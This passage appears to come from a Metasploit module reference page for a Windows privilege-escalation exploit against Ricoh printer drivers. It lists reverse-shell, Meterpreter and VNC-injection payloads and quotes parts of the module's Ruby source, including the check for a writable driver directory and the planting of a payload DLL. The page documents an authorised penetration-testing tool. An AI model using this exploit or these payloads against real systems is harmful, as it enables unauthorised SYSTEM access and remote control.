   143  payload/windows/shell_bind_tcp_xpfw                                          normal  No     Windows Disable Windows ICF, Command Shell, Bind TCP Inline
   144  payload/windows/shell_hidden_bind_tcp                                        normal  No     Windows Command Shell, Hidden Bind TCP Inline
   145  payload/windows/shell_reverse_tcp                                            normal  No     Windows Command Shell, Reverse TCP Inline
   146  payload/windows/speak_pwned                                                  normal  No     Windows Speech API - Say "You Got Pwned!"
   147  payload/windows/upexec/bind_hidden_ipknock_tcp                               normal  No     Windows Upload/Execute, Hidden Bind Ipknock TCP Stager
   148  payload/windows/upexec/bind_hidden_tcp                                       normal  No     Windows Upload/Execute, Hidden Bind TCP Stager
   149  payload/windows/upexec/bind_ipv6_tcp                                         normal  No     Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)
   150  payload/windows/upexec/bind_ipv6_tcp_uuid                                    normal  No     Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   151  payload/windows/upexec/bind_named_pipe                                       normal  No     Windows Upload/Execute, Windows x86 Bind Named Pipe Stager
   152  payload/windows/upexec/bind_nonx_tcp                                         normal  No     Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
   153  payload/windows/upexec/bind_tcp                                              normal  No     Windows Upload/Execute, Bind TCP Stager (Windows x86)
   154  payload/windows/upexec/bind_tcp_rc4                                          normal  No     Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   155  payload/windows/upexec/bind_tcp_uuid                                         normal  No     Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)
   156  payload/windows/upexec/reverse_ipv6_tcp                                      normal  No     Windows Upload/Execute, Reverse TCP Stager (IPv6)
   157  payload/windows/upexec/reverse_nonx_tcp                                      normal  No     Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
   158  payload/windows/upexec/reverse_ord_tcp                                       normal  No     Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
   159  payload/windows/upexec/reverse_tcp                                           normal  No     Windows Upload/Execute, Reverse TCP Stager
   160  payload/windows/upexec/reverse_tcp_allports                                  normal  No     Windows Upload/Execute, Reverse All-Port TCP Stager
   161  payload/windows/upexec/reverse_tcp_dns                                       normal  No     Windows Upload/Execute, Reverse TCP Stager (DNS)
   162  payload/windows/upexec/reverse_tcp_rc4                                       normal  No     Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   163  payload/windows/upexec/reverse_tcp_rc4_dns                                   normal  No     Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   164  payload/windows/upexec/reverse_tcp_uuid                                      normal  No     Windows Upload/Execute, Reverse TCP Stager with UUID Support
   165  payload/windows/upexec/reverse_udp                                           normal  No     Windows Upload/Execute, Reverse UDP Stager with UUID Support
   166  payload/windows/vncinject/bind_hidden_ipknock_tcp                            normal  No     VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
   167  payload/windows/vncinject/bind_hidden_tcp                                    normal  No     VNC Server (Reflective Injection), Hidden Bind TCP Stager
   168  payload/windows/vncinject/bind_ipv6_tcp                                      normal  No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   169  payload/windows/vncinject/bind_ipv6_tcp_uuid                                 normal  No     VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   170  payload/windows/vncinject/bind_named_pipe                                    normal  No     VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
   171  payload/windows/vncinject/bind_nonx_tcp                                      normal  No     VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
   172  payload/windows/vncinject/bind_tcp                                           normal  No     VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
   173  payload/windows/vncinject/bind_tcp_rc4                                       normal  No     VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   174  payload/windows/vncinject/bind_tcp_uuid                                      normal  No     VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   175  payload/windows/vncinject/reverse_hop_http                                   normal  No     VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   176  payload/windows/vncinject/reverse_http                                       normal  No     VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)
   177  payload/windows/vncinject/reverse_http_proxy_pstore                          normal  No     VNC Server (Reflective Injection), Reverse HTTP Stager Proxy
   178  payload/windows/vncinject/reverse_ipv6_tcp                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
   179  payload/windows/vncinject/reverse_nonx_tcp                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   180  payload/windows/vncinject/reverse_ord_tcp                                    normal  No     VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   181  payload/windows/vncinject/reverse_tcp                                        normal  No     VNC Server (Reflective Injection), Reverse TCP Stager
   182  payload/windows/vncinject/reverse_tcp_allports                               normal  No     VNC Server (Reflective Injection), Reverse All-Port TCP Stager
   183  payload/windows/vncinject/reverse_tcp_dns                                    normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
   184  payload/windows/vncinject/reverse_tcp_rc4                                    normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   185  payload/windows/vncinject/reverse_tcp_rc4_dns                                normal  No     VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   186  payload/windows/vncinject/reverse_tcp_uuid                                   normal  No     VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
   187  payload/windows/vncinject/reverse_winhttp                                    normal  No     VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
   188  payload/windows/x64/exec                                                     normal  No     Windows x64 Execute Command
   189  payload/windows/x64/loadlibrary                                              normal  No     Windows x64 LoadLibrary Path
   190  payload/windows/x64/messagebox                                               normal  No     Windows MessageBox x64
   191  payload/windows/x64/meterpreter/bind_ipv6_tcp                                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
   192  payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid                           normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
   193  payload/windows/x64/meterpreter/bind_named_pipe                              normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
   194  payload/windows/x64/meterpreter/bind_tcp                                     normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
   195  payload/windows/x64/meterpreter/bind_tcp_rc4                                 normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   196  payload/windows/x64/meterpreter/bind_tcp_uuid                                normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
   197  payload/windows/x64/meterpreter/reverse_http                                 normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   198  payload/windows/x64/meterpreter/reverse_https                                normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   199  payload/windows/x64/meterpreter/reverse_named_pipe                           normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
   200  payload/windows/x64/meterpreter/reverse_tcp                                  normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
   201  payload/windows/x64/meterpreter/reverse_tcp_rc4                              normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   202  payload/windows/x64/meterpreter/reverse_tcp_uuid                             normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
   203  payload/windows/x64/meterpreter/reverse_winhttp                              normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
   204  payload/windows/x64/meterpreter/reverse_winhttps                             normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
   205  payload/windows/x64/meterpreter_bind_named_pipe                              normal  No     Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
   206  payload/windows/x64/meterpreter_bind_tcp                                     normal  No     Windows Meterpreter Shell, Bind TCP Inline (x64)
   207  payload/windows/x64/meterpreter_reverse_http                                 normal  No     Windows Meterpreter Shell, Reverse HTTP Inline (x64)
   208  payload/windows/x64/meterpreter_reverse_https                                normal  No     Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
   209  payload/windows/x64/meterpreter_reverse_ipv6_tcp                             normal  No     Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
   210  payload/windows/x64/meterpreter_reverse_tcp                                  normal  No     Windows Meterpreter Shell, Reverse TCP Inline x64
   211  payload/windows/x64/peinject/bind_ipv6_tcp                                   normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
   212  payload/windows/x64/peinject/bind_ipv6_tcp_uuid                              normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
   213  payload/windows/x64/peinject/bind_named_pipe                                 normal  No     Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
   214  payload/windows/x64/peinject/bind_tcp                                        normal  No     Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
   215  payload/windows/x64/peinject/bind_tcp_rc4                                    normal  No     Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   216  payload/windows/x64/peinject/bind_tcp_uuid                                   normal  No     Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
   217  payload/windows/x64/peinject/reverse_named_pipe                              normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
   218  payload/windows/x64/peinject/reverse_tcp                                     normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
   219  payload/windows/x64/peinject/reverse_tcp_rc4                                 normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   220  payload/windows/x64/peinject/reverse_tcp_uuid                                normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
   221  payload/windows/x64/powershell_bind_tcp                                      normal  No     Windows Interactive Powershell Session, Bind TCP
   222  payload/windows/x64/powershell_reverse_tcp                                   normal  No     Windows Interactive Powershell Session, Reverse TCP
   223  payload/windows/x64/shell/bind_ipv6_tcp                                      normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
   224  payload/windows/x64/shell/bind_ipv6_tcp_uuid                                 normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
   225  payload/windows/x64/shell/bind_named_pipe                                    normal  No     Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
   226  payload/windows/x64/shell/bind_tcp                                           normal  No     Windows x64 Command Shell, Windows x64 Bind TCP Stager
   227  payload/windows/x64/shell/bind_tcp_rc4                                       normal  No     Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   228  payload/windows/x64/shell/bind_tcp_uuid                                      normal  No     Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
   229  payload/windows/x64/shell/reverse_tcp                                        normal  No     Windows x64 Command Shell, Windows x64 Reverse TCP Stager
   230  payload/windows/x64/shell/reverse_tcp_rc4                                    normal  No     Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   231  payload/windows/x64/shell/reverse_tcp_uuid                                   normal  No     Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
   232  payload/windows/x64/shell_bind_tcp                                           normal  No     Windows x64 Command Shell, Bind TCP Inline
   233  payload/windows/x64/shell_reverse_tcp                                        normal  No     Windows x64 Command Shell, Reverse TCP Inline
   234  payload/windows/x64/vncinject/bind_ipv6_tcp                                  normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
   235  payload/windows/x64/vncinject/bind_ipv6_tcp_uuid                             normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
   236  payload/windows/x64/vncinject/bind_named_pipe                                normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
   237  payload/windows/x64/vncinject/bind_tcp                                       normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
   238  payload/windows/x64/vncinject/bind_tcp_rc4                                   normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   239  payload/windows/x64/vncinject/bind_tcp_uuid                                  normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
   240  payload/windows/x64/vncinject/reverse_http                                   normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   241  payload/windows/x64/vncinject/reverse_https                                  normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   242  payload/windows/x64/vncinject/reverse_tcp                                    normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
   243  payload/windows/x64/vncinject/reverse_tcp_rc4                                normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   244  payload/windows/x64/vncinject/reverse_tcp_uuid                               normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
   245  payload/windows/x64/vncinject/reverse_winhttp                                normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
   246  payload/windows/x64/vncinject/reverse_winhttps                               normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)

Evasion Options


Here is the full list of possible evasion options supported by the windows/local/ricoh_driver_privesc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(windows/local/ricoh_driver_privesc) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No Ricoh driver directory found


Here is a relevant code snippet related to the "No Ricoh driver directory found" error message:

79:	
80:	  def check
81:	    @driver_path = ''
82:	    dir_name = "C:\\ProgramData\\RICOH_DRV"
83:	
84:	    return CheckCode::Safe('No Ricoh driver directory found') unless directory?(dir_name)
85:	
86:	    driver_names = dir(dir_name)
87:	
88:	    return CheckCode::Detected("Detected Ricoh driver directory, but no installed drivers") unless driver_names.length
89:	

Detected Ricoh driver directory, but no installed drivers


Here is a relevant code snippet related to the "Detected Ricoh driver directory, but no installed drivers" error message:

83:	
84:	    return CheckCode::Safe('No Ricoh driver directory found') unless directory?(dir_name)
85:	
86:	    driver_names = dir(dir_name)
87:	
88:	    return CheckCode::Detected("Detected Ricoh driver directory, but no installed drivers") unless driver_names.length
89:	
90:	    vulnerable = false
91:	    driver_names.each do |driver_name|
92:	      full_path = "#{dir_name}\\#{driver_name}\\_common\\dlz"
93:	      next unless directory?(full_path)

Ricoh driver directory does not have full permissions


Here is a relevant code snippet related to the "Ricoh driver directory does not have full permissions" error message:

100:	
101:	      vulnerable = true
102:	      break
103:	    end
104:	
105:	    return CheckCode::Detected('Ricoh driver directory does not have full permissions') unless vulnerable
106:	
107:	    vprint_status("Vulnerable driver directory: #{@driver_path}")
108:	    CheckCode::Appears('Ricoh driver directory has full permissions')
109:	  end
110:	

Ricoh driver directory has full permissions


Here is a relevant code snippet related to the "Ricoh driver directory has full permissions" error message:

103:	    end
104:	
105:	    return CheckCode::Detected('Ricoh driver directory does not have full permissions') unless vulnerable
106:	
107:	    vprint_status("Vulnerable driver directory: #{@driver_path}")
108:	    CheckCode::Appears('Ricoh driver directory has full permissions')
109:	  end
110:	
111:	  def add_printer(driver_name)
112:	    fail_with(Failure::NotFound, 'Printer driver script not found') unless file?(@script_path)
113:	

Printer driver script not found


Here is a relevant code snippet related to the "Printer driver script not found" error message:

107:	    vprint_status("Vulnerable driver directory: #{@driver_path}")
108:	    CheckCode::Appears('Ricoh driver directory has full permissions')
109:	  end
110:	
111:	  def add_printer(driver_name)
112:	    fail_with(Failure::NotFound, 'Printer driver script not found') unless file?(@script_path)
113:	
114:	    dll_data = generate_payload_dll
115:	    dll_path = "#{@driver_path}\\headerfooter.dll"
116:	
117:	    temp_path = expand_path('%TEMP%\\headerfooter.dll')

Already running as SYSTEM


Here is a relevant code snippet related to the "Already running as SYSTEM" error message:

137:	  rescue Rex::Post::Meterpreter::RequestError => e
138:	    e_log("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
139:	  end
140:	
141:	  def exploit
142:	    fail_with(Failure::None, 'Already running as SYSTEM') if is_system?
143:	
144:	    fail_with(Failure::None, 'Must have a Meterpreter session to run this module') unless session.type == 'meterpreter'
145:	
146:	    if sysinfo['Architecture'] != payload.arch.first
147:	      fail_with(Failure::BadConfig, 'The payload should use the same architecture as the target driver')

Must have a Meterpreter session to run this module


Here is a relevant code snippet related to the "Must have a Meterpreter session to run this module" error message:

139:	  end
140:	
141:	  def exploit
142:	    fail_with(Failure::None, 'Already running as SYSTEM') if is_system?
143:	
144:	    fail_with(Failure::None, 'Must have a Meterpreter session to run this module') unless session.type == 'meterpreter'
145:	
146:	    if sysinfo['Architecture'] != payload.arch.first
147:	      fail_with(Failure::BadConfig, 'The payload should use the same architecture as the target driver')
148:	    end
149:	

The payload should use the same architecture as the target driver


Here is a relevant code snippet related to the "The payload should use the same architecture as the target driver" error message:

142:	    fail_with(Failure::None, 'Already running as SYSTEM') if is_system?
143:	
144:	    fail_with(Failure::None, 'Must have a Meterpreter session to run this module') unless session.type == 'meterpreter'
145:	
146:	    if sysinfo['Architecture'] != payload.arch.first
147:	      fail_with(Failure::BadConfig, 'The payload should use the same architecture as the target driver')
148:	    end
149:	
150:	    @printer_name = Rex::Text.rand_text_alpha(5..9)
151:	    @script_path = "C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\prnmngr.vbs"
152:	    drvr_name = @driver_path.split('\\')

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References


See Also


Check also the following modules related to this module:

Authors


  • Alexander Pudwill
  • Pentagrid AG
  • Shelby Pace

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

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